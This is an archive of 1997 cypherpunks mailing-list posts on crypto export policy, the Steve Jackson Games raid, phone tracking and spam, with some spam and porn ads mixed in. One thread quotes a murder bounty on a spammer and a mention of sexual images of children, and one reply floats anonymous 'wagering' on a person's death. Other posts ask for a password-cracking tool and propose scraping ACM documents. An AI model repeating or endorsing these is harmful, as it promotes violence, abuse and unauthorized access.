Wit Capital Corporation
Member NASD/SIPC







From rah at shipwright.com  Wed Dec 31 08:49:11 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Wed, 31 Dec 1997 08:49:11 -0800 (PST)
Subject: Why use open crypto/commerce source?
Message-ID: 


Will Price of PGP writes one of the best-organized arguments for open
cryptography source code -- and I would extend that to digital commerce
code as well -- that I've seen in a while. While I wonder if this may be
written more for Will's new colleagues at Network Associates than anywhere
else :-), I would reccommend that anyone who asks you "How can you sell
open source?" get a copy of this.

Excellent, Will.

Cheers,
Bob Hettinga

--- begin forwarded text


X-Sender: wprice at 205.180.136.16
Mime-Version: 1.0
Date: Tue, 30 Dec 1997 20:01:03 -0800
To: ietf-tls at consensus.com, ietf-open-pgp at imc.org
From: Will Price 
Subject: Re: Proposed Extensions to TLS for OpenPGP
Sender: owner-ietf-open-pgp at imc.org
Precedence: bulk

Rather than quoting the messages on this topic, I'll just reference the
other messages on the topic of export algorithms and issues which
originated from my exclusion of export algorithms from the TLS/OpenPGP
Spec.  The debate over exactly what one can export legally usually proceeds
under seriously false assumptions in my opinion.  It generally starts with
what bit level algorithm can be exported, proceeds to discussions about
hooks whether general or crypto specific, usually has some mention of
MS-CAPI until people realize that the modules have to be signed, those with
legal knowledge try to jump in and help, and ends up with people being
somewhat confused and feeling fairly helpless leading to less crypto
software being written -- exactly the result the US government intended.

Not directed at anyone in particular, but let's get back to basics people.
There's no sense whatsoever in putting "export" algorithms into a product.
It isn't encryption.  The time is truly upon us when export algorithms are
crackable in near real time by normal people.  You might as well include a
decoder ring with your product, it will take just as long or longer to
decrypt for a casual attacker.

At Pretty Good Privacy, we developed a reliable system which will be
continued by Network Associates.  The outline: write source code for
product, print source code in book, distribute book using normal means.
Now the process becomes somewhat foggier.  In any case, printed source code
for product gets exported -- note that this is of course legal.
Individuals outside the US scan source code.  A legally exported binary
version of the product then becomes available internationally.  Copyrights,
trademarks, and licenses protect the original vendor and revenue can be
made off the exported product.  This is only one highly functional system
for getting this done.  One other alternative is to base all R&D outside
the US which is infeasible for most US companies -- but Sun did it with
SKIP.  Finally, the crypto hooks mechanism does work and Commerce does in
fact approve APIs that are intended for crypto but have been generalized
for other uses, Qualcomm's EMSAPI used in Eudora is a perfect example of
this.

I can hear the first cry that some people will have now: are you crazy, we
can't publish our source code!  My response: well then what are you doing
in the security business?  This sector isn't about proprietary algorithms
and code.  It is not feasible to achieve secure software without public
peer review by many cryptographers.  We have seen time and time again how
the smallest security bugs have turned into major international crises for
some of the larger companies doing this.  One can only imagine how many
more such issues are left to be found were a quality cryptographic public
peer review to take place on such products with access to source code.  The
majority of users reading the New York Times have no clue what a particular
security flaw is about.  They just know that the NYT says that product is
insecure.  Such stories reduce user faith in everybody's security products.
The only solution is public code review.

Now I can hear not only the cries about publishing source code, but the
feathers of some readers getting ruffled believing that I have implied
security flaws in their wonderful products.  Not at all.  I have the utmost
respect for any company that makes an attempt to write crypto software in
the US.  We're all under these silly laws together.  I use some of the
products which have had reported security flaws in the past, but those
products would be that much more valuable if one was able to trust their
security from 3rd party review and if their protocol infrastructures had
not been infected by 40 bit scrambling algorithms.

Some companies will undoubtedly never bring themselves to implementing one
of the above systems and will thus be relegated to snake oil security
internationally until the laws in the US change.  However, there *are* good
and reliable ways for even the largest companies to solve this problem
legally.  Inclusion of "export" algorithms is, IMHO, security suicide.
What has happened in many cases is that the installed base of, for
instance, S/MIME and SSL users has been so infected by 40 bit clients that
the vast majority really have no idea that the security they are using is
completely useless.  It forces those few with secure clients corresponding
with those using 40 bit clients to also use 40 bit and so on -- generally
without any warning to either user that their security has been eliminated.
Some companies like Wells Fargo have tried to take a stand and require 128
bit crypto SSL and they get major flack from users who don't understand
what is wrong with their 40 bit browser.

Caving in and using 40 bit algorithms is *not* a solution to anything.  We
all know this, but the speed of business can make that choice less clear.
The argument that "we have to sell it, so we have to include 40 bit" just
doesn't wash given that there are all sorts of creative legal alternatives.
The bigger the company, the more resources that company has to enable the
alternatives -- which is why it is so odd that the smaller companies often
produce the more secure software.  Mass producing a source code book of
>7000 pages for the PGP products isn't something a one person operation
would be doing, but is trivial for a normal company.

Let's not infect our protocols with such politics.  TLS 1.0 is a done deal
as far as I'm concerned.  SSL3 had export algorithms, so TLS1 does too,
fine.  There are now many better solutions to the export problem, let's not
fall into the trap of using the easiest way out in new specifications.

-Will


Will Price, Architect
Network Associates, Inc.
Direct  (650)596-1956
Main    (650)572-0430
Fax     (650)631-1033
Cell/VM (650)533-0399


PGPkey: 

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: 







From raico at hello-net.es  Tue Dec 30 16:55:30 1997
From: raico at hello-net.es (Raico Rosenbeg)
Date: Wed, 31 Dec 1997 08:55:30 +0800
Subject: win 95 pwl crack
Message-ID: <01bd1584$24fbf3c0$d66f4cc3@raico>




i have tried to crack the win 95 pwl for ages but to no avail, 
i have used glide but it spews out lots of data on the screen. Please could you 
send the programme that you made.
thanx in advance
raico.



From nobody at REPLAY.COM  Tue Dec 30 16:59:51 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Wed, 31 Dec 1997 08:59:51 +0800
Subject: ACM
Message-ID: <199712310045.BAA05361@basement.replay.com>



Anyone with a fast network link want to suck down as many
documents from acm.org as possible and stick them on an 
Eternity server before they close their free trial? :)






From wombat at mcfeely.bsfs.org  Tue Dec 30 22:14:59 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Wed, 31 Dec 1997 14:14:59 +0800
Subject: New hi-tech dog tags use encryption?... [CNN]
In-Reply-To: <199712280543.XAA00435@einstein.ssz.com>
Message-ID: 




On Sat, 27 Dec 1997, Jim Choate wrote:

> Forwarded message:
> 
> >                     PENTAGON INTRODUCING HIGH-TECH DOG TAGS

> 
> >      "We have to be very concerned about how we protect the information
> >      -- in who's hands would it be, should it be encrypted, could the
> >      encryption be broken, what would happen if it ended up in the wrong
> >      hands," says Defense Secretary William Cohen.
> 
> [text deleted]
> 
> >      If issues of cost and privacy can be solved, the old metal dog tags
> >      seem certain to become just another piece of military history.
> 

I doubt the old metal ones will go away - smartcards have an annoying 
tendancy to melt when your aircraft suffers traumatic deceleration.

Two competing cards were demo'd at JWID a few years back, so this isn't a 
new concept. One way to keep them from losing your vacination records ...

-r.w.






From sw at cryptosoft.com  Wed Dec 31 03:03:32 1997
From: sw at cryptosoft.com (stefan d. wolf)
Date: Wed, 31 Dec 1997 19:03:32 +0800
Subject: info
Message-ID: <34AA217F.21A1@cryptosoft.com>








From sw at cryptosoft.com  Wed Dec 31 03:05:28 1997
From: sw at cryptosoft.com (stefan d. wolf)
Date: Wed, 31 Dec 1997 19:05:28 +0800
Subject: info
Message-ID: <34AA20E3.5D2E@cryptosoft.com>








From bellis at ns1.nap2.net  Wed Dec 31 19:47:36 1997
From: bellis at ns1.nap2.net (b_ellis)
Date: Wed, 31 Dec 1997 19:47:36 -0800 (PST)
Subject: Wolf Industries Inc.
Message-ID: <199801010448.UAA05974@wolf.registr.com>


Wolf Industries, Inc. (OTCBB:WLFN,  http://registr.com/wolf   ) is a
niche provider of Custom Blended Chemical Products used at the
wellhead in the production of oil and gas that has just become
available for trade on the OTC Bulletin Board under the symbol 
"WLFN".   Wolf management intends to aggressively enhance
the Corporation's market share of the Oil and Gas Services sector
through horizontal and vertical integration via acquisitions, improving
earnings and overall company value for its shareholders.

The Corporation's financial condition is stable with projected
revenues of over $1,000,000.00 for fiscal 1998 and a well established
and loyal client base after nine years in private operation.  The Corporation
is also pursuing diversification of its interests into environmental 
technologies.

Visit the website at  http://www.registr.com/wolf   for complete information,
including SEC filed reports on this  investment opportunity.

If you would like to be removed from our mailing list,  please reply with
"remove" in the subject line.

Thank-you.
Investor Relations
Wolf Industries, Inc.

Except for the historical information contained on the website,
the matters set forth inthese documents are forward-looking
statements within the meaning of the "safe harbour" provisions
of the Private Securities Litigation Reform Act of 1995. These
forward-looking statements are subject to risk and uncertainties
that may cause actual results to differ materially. These forward-looking
statements speak only as of the date hereof and the Company disclaims
any intent or obligation to update these forward-looking statements.  






From sbn at MICROSOFT.COM  Wed Dec 31 21:20:59 1997
From: sbn at MICROSOFT.COM (Site Builder Network)
Date: Wed, 31 Dec 1997 21:20:59 -0800 (PST)
Subject: Microsoft Site Builder Network: Web TechEd Conference,             January 19 98
Message-ID: <39ADCF833E74D111A2D700805F1951EF0BB31C@red-msg-06.dns.microsoft.com>


Where else can you save $200, get the best technical web
training and enjoy the sunshine!  We've extended the
deadline for Site Builder Network Members to save $200 off
the registration fee!!!  Register now for Microsoft's Web
TechEd Conference January 25-28, 1998 in Palm Springs, CA!
Web Tech�Ed is a technical education conference, created
exclusively for Web professionals.  This is your
opportunity to join 3,500 of your peers for in-depth
training on the latest Web technologies, tools and products
from Microsoft and third-party partners.  There will be
over 80 technical sessions, 70 exhibitors, 200 hands on
machines and much much more. For more information or to
register, call 1-800-259-1312 or visit our website at
http://www.microsoft.com/events/webteched .





From eureka-help at eureka.abc-web.com  Wed Dec 31 06:10:38 1997
From: eureka-help at eureka.abc-web.com (eureka-help at eureka.abc-web.com)
Date: Wed, 31 Dec 1997 22:10:38 +0800
Subject: Successful Subscription
Message-ID: <883576762.28936.ezmlm@eureka.abc-web.com>



WELCOME TO EUREKA!
==================

Congratulations,  your free subscription to the Eureka!
newsletter is now set up. We hope you enjoy every copy.
As promised,  while you wait  for your first newsletter
here are the links to  the FREE videos and FREE photos!

FREE hardcore videos ........... http://207.168.184.26/
FREE hardcore photos .... http://209.50.232.36/desires/

- Eureka! *FREE porn in your email!*






From Shane_Nifong at s2systems.com  Wed Dec 31 11:27:40 1997
From: Shane_Nifong at s2systems.com (Shane_Nifong at s2systems.com)
Date: Thu, 1 Jan 1998 03:27:40 +0800
Subject: Government vs. Steve Jackson
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Would someone summarize this case for me? Someone told me that the 
government could seize your computer without a warrant or anything.  
They said that it (computer) was not covered under the privacy act.  
True?

Gbr
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNKqcAKxZ8xbjyDtBEQLHfwCfT2i9iyikoqpW5iD7NfFEgUCdhC0Anj9A
LftQrD2heg381rT2noUFubuy
=HCl6
-----END PGP SIGNATURE-----






From pooh at efga.org  Wed Dec 31 12:11:16 1997
From: pooh at efga.org (Robert A. Costner)
Date: Thu, 1 Jan 1998 04:11:16 +0800
Subject: IRC Internet chat with Electronic Frontiers
Message-ID: <3.0.3.32.19971231150646.030ddfb8@rboc.net>



There will be a series of IRC internet chats with Electronic Frontiers.  We
wish to address two main problems.  The Electronic Frontiers movement is
misunderstood by a lot of people, and there is not enough communication
between the independent EF organizations.

The idea was sparked by the recent Cypherpunks Christmas Eve chat.  Thanks
for the idea.  The members of the cypherpunks mail list are invited to our
upcoming internet chats.  Dates and info are below.  

The Electronic Frontiers movement is several independent organizations that
share a common thread to their name.  Each group speaks for themselves and
are not associated with each other.  The various EF organizations have no
association with the group called EFF.  We are grassroots organizations of
concerned citizens of our geographic areas, volunteering our time and
energy.  EF organizations exist in several US states and in different
countries around the world.  EF organizations have been responsible for
activities such as winning court cases like the Georgia Internet Anonymity
and web linking lawsuit, and the anti-spoofing spam lawsuit in Texas
(flowers.com).

Of particular interest to Cypherpunks is the fact that EFGA hosts a variety
of cypherpunk technologies, including a Cypherpunk Type-1 remailer,
nymserver, and mixmaster remailer.  We also have a PGP keyserver.  Recently
we created an FTP archive of privacy software.  So far this has been front
ends for remailers and PGP software that various software authors have sent
us to host.

All you need is an IRC client, and to log onto EFnet.  If you have
questions on how to do this, ask the list.  I'm a newbie with IRC and can't
help that much.  The first chat is Thursday, tomorrow, New Years day at
7:00 pm New York time.

-------------

There will be an IRC internet chat session for Electronic Frontiers.  More
info can be found at http://www.efga.org/about/meeting.html

Get out your IRC client and visit us on EFnet IRC in the
#ElectronicFrontiers channel.  There will be a chat session on 

  * Thursday, January 1, 1998 at 7:00pm EST 
    hosted by Robert Costner of Electronic Frontiers Georgia.

  * Saturday, January 3, 1998 at 3:00pm EST
    hosted by Scott Brower of Electronic Frontiers Florida.

  * To be announced
    hosted by Jon Lebkowsky of EF-Texas

These will be our first chat sessions.  After we see how this goes, we will
try to setup something on a regular basis.

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh at efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key






From ravage at ssz.com  Wed Dec 31 12:40:13 1997
From: ravage at ssz.com (Jim Choate)
Date: Thu, 1 Jan 1998 04:40:13 +0800
Subject: Government vs. Steve Jackson (fwd)
Message-ID: <199712312100.PAA09353@einstein.ssz.com>



Forwarded message:

> From: Shane_Nifong at s2systems.com
> Subject: Government vs. Steve Jackson
> Date: Wed, 31 Dec 1997 14:28:55 -0500

> Would someone summarize this case for me? Someone told me that the 
> government could seize your computer without a warrant or anything.  
> They said that it (computer) was not covered under the privacy act.  
> True?

There was an employee of SJG, Lloyd Blankenship (aka The Mentor), who wrote
material for SJG and helped manage the Illuminati BBS for SJG. Lloyd was
also one of the lead members of a group called Legion of Doom (LoD) and ran
an underground BBS called Phoenix Project. Members of LoD hacked many
systems and were well known by many in various agencies and was in the
middle of a 'turf' war with Masters of Destruction (MoD) based in Georgia.
Also a member of LoD was Erik Bloodaxe who also lived here in Austin.
Because of various shennanigans various law enforcement agencies, initialy
tripped off by Operation Sun Devil (not related directly to the SJG bust),
were interestedin Lloyd & Erik's activities and particularly interested in
the GURPS Cyberpunk module that Lloyd was writing. In an attempt to shut
down the Phoenix Project and put a hush on the GURPS module, which they
claimed was a 'handbook to hack', they obtained a sealed warrant for Lloyd,
Erik, and about a dozen other members around the country as well as material
at SJG. One Sunday morning in 1990 they arrested Lloyd and several others as
well as went to SJG and attempted to enter. Nobody could be found on a
Sunday morning with a key so they kicked the door down. In the process of
confiscating the GURPS material they also took the Illuminati BBS (run on an
old Apple II) as well as answering machines, dictation tapes, etc. After
several years of legal hassle Lloyd, Erik, & SJG were cleared and *most* of
their property was returned. One of the charges against Erik at least for a
short time was 'theft of a video game'. Seems he and I had bought various
stand-up arcade video games (he had PacMan I believe and I Stargate) from a
3rd party here in Austin (Rick Wallingford of Wallingford Electronics) and
because there was no receipt and Rick wouldn't produce one they thougth it
might be stolen. Both Erik and Lloyd knew they were under observation (along
with many others in LoD and simple bystanders) because of a bar-b-q at
Rick's about a month before the bust. A couple of undercover cops were noted
watching the bar-b-q because they would get out of their car down the street
and walk around with their jackets off - hence displaying their guns. Lloyd
also found out about phone taps because the weekend before he was busted he
and I were talking on the phone and he made a comment about burning approx.
50 lbs. of printouts. When he was busted the SS dilligently took all the
ashes in his fireplace. When Erik was busted the only computer equipment in
his apartment was a dumb terminal and a 2400 baud modem. Even though I was a
user of Phoenix Project and helped work out several hardware problems in
electronics I was never directly involved with LoD nor was I ever contacted
by the SS. I never inquired into whether my phone was tapped because of
Lloyd's paper incident or if it was just his phone.

Last time I talked to Lloyd a couple of years ago he still hadn't received
all his computers and disks back. Erik did two HohoCon's here in Austin but
because of various shennanigans (like cracking the Hotel 8 computer at
Highland Mall) the show is pretty much verboten here in Austin. Lloyd went
back to school in San Marcos and was working on a comp sci degree. I haven't
talked to either Erik or Lloyd in over two years so I don't know what they
are up to now.

The police can't Constitutionaly seize anything without a warrant,
unfortunately the courts don't see it that way all the time. Technicaly if
anyone but you also uses your computer and the police wish to seize it they
must produce search warrants for the other 3rd party work, considerd a
'work in progress', on that computer. If they don't and they do deny the 3rd
party access to that material in the process of their case then the 3rd
party has the right to sue for damages at something like $1k/day. It's one
of the reasons that I have multiple users on SSZ and support several mailing
lists like this one.

That's what I know about it.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From ravage at ssz.com  Wed Dec 31 12:46:56 1997
From: ravage at ssz.com (Jim Choate)
Date: Thu, 1 Jan 1998 04:46:56 +0800
Subject: IRC Internet chat with Electronic Frontiers (fwd)
Message-ID: <199712312107.PAA09410@einstein.ssz.com>



Forwarded message:

> Date: Wed, 31 Dec 1997 15:06:46 -0500
> From: "Robert A. Costner" 
> Subject: IRC Internet chat with Electronic Frontiers

>   * To be announced
>     hosted by Jon Lebkowsky of EF-Texas

Woah Nelly, this is the first I have heard of EF-Tx, got any contact info?


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|







From ravage at ssz.com  Wed Dec 31 12:57:59 1997
From: ravage at ssz.com (Jim Choate)
Date: Thu, 1 Jan 1998 04:57:59 +0800
Subject: AOL spam showdown brewing... [CNN]
Message-ID: <199712312119.PAA09523@einstein.ssz.com>



Forwarded message:

>                           AOL SPAM DISPUTE ESCALATES
>                                        
>   Business group threatens to release millions of e-mail addresses
>   
>      * Group says AOL is anti-small business
>      * AOL calls plan 'cyber-terrorism'
>      * Spam spat
>      * Related stories and sites
>        
>      December 31, 1997
>      Web posted at: 3:15 p.m. EST (2015 GMT)
>      
>      CHINO, California (CNN) -- An Internet business group and the
>      world's biggest Internet service provider, America Online, were
>      poised Wednesday for a legal showdown in a dispute over pitching
>      products and services to AOL users via e-mail.
>      
>      If AOL doesn't back down from its opposition to the National
>      Organization of Internet Commerce (NOIC), the California-based group
>      threatens to put the e-mail addresses of millions of AOL users on
>      its Web site, making them available for downloading by any business,
>      group or individual seeking to make mass electronic mailing
>      
>      NOIC, a non-profit trade organization representing small businesses
>      and bulk-mailers, originally set Thursday as the day it would reveal
>      the e-mail addresses of 1 million of AOL's 10 million customers.
>      
>      On Wednesday, however, NOIC escalated the threat, announcing it
>      would release 5 million AOL e-mail addresses on January 8.
>      
>      AOL vowed to fight NOIC in court, if necessary, and said it hoped
>      the group would reconsider.

[text deleted]


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From sheriff at speakeasy.org  Wed Dec 31 15:23:41 1997
From: sheriff at speakeasy.org (The Sheriff)
Date: Thu, 1 Jan 1998 07:23:41 +0800
Subject: [Anon newsgroup posting "censorship"]
In-Reply-To: 
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

[snip]

>My cancelled Usenet article offered a reward for killing the spammer:

[snip]

>This is fucking censorship!  I'm putting the notice of the CAUCE reward on my
>web home page at [snip], right next to the pictures of the
>pre-teen kids screwing.  Fuck you, Zorch, you're next after C, P, and G Lewis.

Ok, tell you what.

Let's post YOUR address, YOUR phone number, and that of YOUR family.
We'll post that information to every newsgroup and mailing list we
can think of.  We'll offer a $50,000 AMERICAN reward for the quick
extermination of you and your family.  And if some kook takes us up
on it, we might even be good enough to warn you.

It's not censorship, you idiot.  The dude who clipped out your post
was trying to keep some fucking psycho from killing somebody else for
some imagined (or not, who knows?) $50k reward.

It's common sense, in other words.

Best wishes and fresh-roasted peanut taste,
The Sheriff. -- ******
- ---
As kinky as it sounds, finger me to see my PGP key and
confirm the signature attached to this message.  Either
that, or head for pgp.ai.mit.edu on the WWW and search
for my e-mail address.
- ---
Any and all SPAM will be met with immediate prosecutory
efforts.  Solicitations are NOT welcome here!
- ---
        ----BEGIN INFLAMATORY BLOCK----
Version: 160 (IQ)
Comments: Definitely one of their greatest misses.

Reporter: "Do you know what Public Enemy is?"
- ---
Citizen: "Public enemy?"
          [long pause]
         "Probably somebody in office."
        -----END INFLAMATORY BLOCK-----


-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 5.0 for non-commercial use 
Charset: noconv

iQEVAwUBNKrBkgBMw4+NR29ZAQG42AgA3dvMFYGtcYMrQwjAXQiM85Lb1XuD1Aer
e97WaplIBGNpOKzDsqOcitzAK/9yKh4hUvpfj7OKEeme/fb+efhpw31D9jX+Xtkx
4vyR97cBhMmo5hzAaiP3LtF9cKrQmbqaDBSjwhlZPrK066V+tosKB9jU92kNsWia
RsfnXooyXIh6INbv9FHIRAbVqDSd240SmnODUi9Is/uWzMcxsi6Uf+7B/ExYDYZj
DMtA3bQcdi6/I5SOKlmLocbFG1+jPC0eFvDdUlbimzkx4zmPP96g0pjuWWclCHEg
CeSe2+akD7ERGffXReNRxY6XceoYb8zCzYtDmiymZ2yYLnssMdAvVw==
=eEsg
-----END PGP SIGNATURE-----






From schear at lvdi.net  Wed Dec 31 17:18:41 1997
From: schear at lvdi.net (Steve Schear)
Date: Thu, 1 Jan 1998 09:18:41 +0800
Subject: [Anon newsgroup posting "censorship"]
In-Reply-To: 
Message-ID: 



At 1:19 PM -0400 12/31/97, The Sheriff wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>[snip]
>
>>My cancelled Usenet article offered a reward for killing the spammer:
>
>[snip]
>
>>This is fucking censorship!  I'm putting the notice of the CAUCE reward on my
>>web home page at [snip], right next to the pictures of the
>>pre-teen kids screwing.  Fuck you, Zorch, you're next after C, P, and G Lewis.
>
>Ok, tell you what.
>
>Let's post YOUR address, YOUR phone number, and that of YOUR family.
>We'll post that information to every newsgroup and mailing list we
>can think of.  We'll offer a $50,000 AMERICAN reward for the quick
>extermination of you and your family.  And if some kook takes us up
>on it, we might even be good enough to warn you.
>
>It's not censorship, you idiot.  The dude who clipped out your post
>was trying to keep some fucking psycho from killing somebody else for
>some imagined (or not, who knows?) $50k reward.
>
>It's common sense, in other words.

Here, here.  Making threatening statements or calling for someone's harm are not to be tolerated.  However, predicting someone's continued good health (as a psychic) and wagering on that prediction against other (psychics) who have different predictions is a contest of skill and not a threat or illegal in any way, even if these wagers, psychics and payouts are anonymous.

--Steve







From die at die.com  Wed Dec 31 17:41:24 1997
From: die at die.com (Dave Emery)
Date: Thu, 1 Jan 1998 09:41:24 +0800
Subject: Location Escrow anyone ?
Message-ID: <19971231203351.54993@die.com>



	This off another list ...

	More than fair use perhaps, but significant.

--------------------------------------------------------


Tracking of Swiss mobile phone users starts row

Copyright � 1997 Reuters 

ZURICH (December 28, 1997 4:12 p.m. EST http://www.nando.net) - Swiss
police have secretly tracked the whereabouts of mobile phone users via a
telephone company computer that records billions of movements going back
more than half a year, a Sunday newspaper reported.

The revelation in the SonntagsZeitung newspaper triggered objections from
politicians and the country's privacy ombudsman about high-tech snooping on
citizens who like the convenience of a mobile phone.

Officials from state telephone company Swisscom confirmed the practice, but
insisted information about mobile customers was only handed out on court
orders.

"Swisscom has stored data on the movements of more than a million mobile
phone users. It can call up the location of all its mobile subscribers down
to a few hundred meters and going back at least half a year," the paper
reported.

"When it has to, it can exactly reconstruct down to the minute who met
whom, where and for how long for a confidential tete-a-tete," it said.

Some 3,000 base stations across the country track the location of mobile
phones as soon as they are switched on, not just when customers are having
conversations, it said.

Prosecutors called the records a wealth of information that helped track
criminals' movements.

"This is a very efficient investigation tool," Renato Walti, an
investigating magistrate in Zurich who specialises in organised crime, was
quoted as telling the paper.

The paper said Swisscom and law-enforcement officials were reluctant to
discuss the records, which were supposed to be secret.

But it quoted Toni Stadelmann, head of Swisscom's mobile phone division, as
saying: "We release the movement profile of mobile telephone customers on a
judge's order."

SonntagsZeitung said there was no legal basis for storing such information.

"I am unaware of any law that would allow the preventative collection of
data for investigative purposes," it quoted Odilo Guntern, the federal
ombudsman for protecting individuals' privacy, as saying.

"Secretly collecting data is highly problematic," added Alexander
Tschaeppat, a judge and member of the lower house of parliament.

Copyright � 1997 Nando.net

-- 
	Dave Emery N1PRE,  die at die.com  DIE Consulting, Weston, Mass. 
PGP fingerprint = 2047/4D7B08D1 DE 6E E1 CC 1F 1D 96 E2  5D 27 BD B0 24 88 C3 18







From dformosa at st.nepean.uws.edu.au  Wed Dec 31 19:08:00 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Thu, 1 Jan 1998 11:08:00 +0800
Subject: [Anon newsgroup posting "censorship"]
In-Reply-To: 
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 31 Dec 1997, The Sheriff wrote:

> Date: Wed, 31 Dec 1997 13:19:58 -0400
> From: The Sheriff 
> To: cypherpunks at toad.com
> Subject: Re: [Anon newsgroup posting "censorship"]
> 
> [snip]
> 
> >My cancelled Usenet article offered a reward for killing the spammer:
[...]
> It's not censorship, you idiot.  The dude who clipped out your post
> was trying to keep some fucking psycho from killing somebody else for
> some imagined (or not, who knows?) $50k reward.
> 
> It's common sense, in other words.

Not realy,

Post it to one unnmoderated newsgroup      Canceling it would be rouge
Post it to one moderated newsgroup         Moderator may cancel it
Post it to more then 20 newsgroups         Anyone can cancel it as spam

The post was canceled because the moderator can canel anything in there
newsgroup.  It is censorship, but by posting to a moderated newsgroup you
are concenting to that censorship.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBNKry9qQK0ynCmdStAQGQyQQAniVlZhPkrx/sk5HvduXR0c1iUs9ZyVZZ
ncXkjREeMJFAjnL4FEtACji0KdtQqFZ1meGYJ33EVDK2SUmYKNVa0RZebK53C6Gw
YJot1jnkSMU5MHDqRX25kqqSBSmyX/IML0KZbh6D9NTV+iOF4qos5B016RdsG43f
1FW67ogq0qI=
=nXjj
-----END PGP SIGNATURE-----






From whgiii at invweb.net  Wed Dec 31 20:34:04 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Thu, 1 Jan 1998 12:34:04 +0800
Subject: Location Escrow anyone ?
In-Reply-To: <19971231203351.54993@die.com>
Message-ID: <199801010433.XAA16928@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In <19971231203351.54993 at die.com>, on 12/31/97 
   at 10:26 PM, Dave Emery  said:

>ZURICH (December 28, 1997 4:12 p.m. EST http://www.nando.net) - Swiss
>police have secretly tracked the whereabouts of mobile phone users via a
>telephone company computer that records billions of movements going back
>more than half a year, a Sunday newspaper reported.

Don't be fooled that this is a swiss only problem. It's being done here in
Amerika right now.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNKsbMI9Co1n+aLhhAQEYOgP/TPCyRc/X73kb5zIDd0Nns0CegckFFysZ
1+oHAACdgfnANFw2v2eOIFLKd9/R0E6iykT/vhZZZT2nTPzCArPz4y3iKBgg11ls
mAw5oJV8z1Zd+UMuOGvOBzSwfdNRF893/3Iry60cMM1+nKTIhrw0+asCMlQnbRRi
BBukhMgPuoY=
=3T/C
-----END PGP SIGNATURE-----






From whgiii at invweb.net  Wed Dec 31 20:34:10 1997
From: whgiii at invweb.net (William H. Geiger III)
Date: Thu, 1 Jan 1998 12:34:10 +0800
Subject: AOL spam showdown brewing... [CNN]
In-Reply-To: <199712312119.PAA09523@einstein.ssz.com>
Message-ID: <199801010437.XAA16967@users.invweb.net>



-----BEGIN PGP SIGNED MESSAGE-----

In <199712312119.PAA09523 at einstein.ssz.com>, on 12/31/97 
   at 04:19 PM, Jim Choate  said:

>Forwarded message:

>>      CHINO, California (CNN) -- An Internet business group and the
>>      world's biggest Internet service provider, America Online, were
>>      poised Wednesday for a legal showdown in a dispute over pitching
>>      products and services to AOL users via e-mail.

LOL!!! This is almost as entertaining as wathcing the Nut$crape vs.
Mikey$loth fights. No matter who loses everyone else wins!!

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
